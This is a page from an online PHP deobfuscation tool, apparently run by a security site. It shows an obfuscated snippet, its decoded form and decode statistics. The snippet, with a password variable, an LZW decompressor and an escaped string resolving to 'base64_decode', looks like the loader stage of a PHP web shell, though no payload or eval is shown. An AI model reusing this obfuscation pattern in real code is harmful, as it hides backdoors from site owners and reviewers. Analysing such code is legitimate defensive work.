Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $PASS=""; function Qo($GG) { $OT = 256; $PA = 8; $bh = array(); $LV = 0; $vR = 0; ..

Decoded Output download

<?php 
$PASS=""; 
function Qo($GG) { $OT = 256; $PA = 8; $bh = array(); $LV = 0; $vR = 0; for ($cD = 0; $cD < strlen($GG); $cD++) { $LV = ($LV << 8) + ord($GG[$cD]); $vR += 8; if ($vR >= $PA) { $vR -= $PA; $bh[] = $LV >> $vR; $LV &= (1 << $vR) - 1; $OT++; if ($OT >> $PA) { $PA++; } } } $YX = range("", ""); $Qi = ''; foreach ($bh as $cD => $QN) { if (!isset($YX[$QN])) { $aA = $e8 . $e8[0]; } else { $aA = $YX[$QN]; } $Qi .= $aA; if ($cD) { $YX[] = $e8 . $aA[0]; } $e8 = $aA; } return $Qi; }  
$_GTPAjq="base64_decode" ?>

Did this file decode correctly?

Original Code

<?php
$PASS="";
function Qo($GG) { $OT = 256; $PA = 8; $bh = array(); $LV = 0; $vR = 0; for ($cD = 0; $cD < strlen($GG); $cD++) { $LV = ($LV << 8) + ord($GG[$cD]); $vR += 8; if ($vR >= $PA) { $vR -= $PA; $bh[] = $LV >> $vR; $LV &= (1 << $vR) - 1; $OT++; if ($OT >> $PA) { $PA++; } } } $YX = range("\0", "\xff"); $Qi = ''; foreach ($bh as $cD => $QN) { if (!isset($YX[$QN])) { $aA = $e8 . $e8[0]; } else { $aA = $YX[$QN]; } $Qi .= $aA; if ($cD) { $YX[] = $e8 . $aA[0]; } $e8 = $aA; } return $Qi; } 
$_GTPAjq="\x62\141\x73\145\66\x34\137\144\x65\143\x6f\144\145"

Function Calls

None

Variables

$PASS
$_GTPAjq base64_decode

Stats

MD5 3c4e7c65241cad03394c536509b3f90d
Eval Count 0
Decode Time 130 ms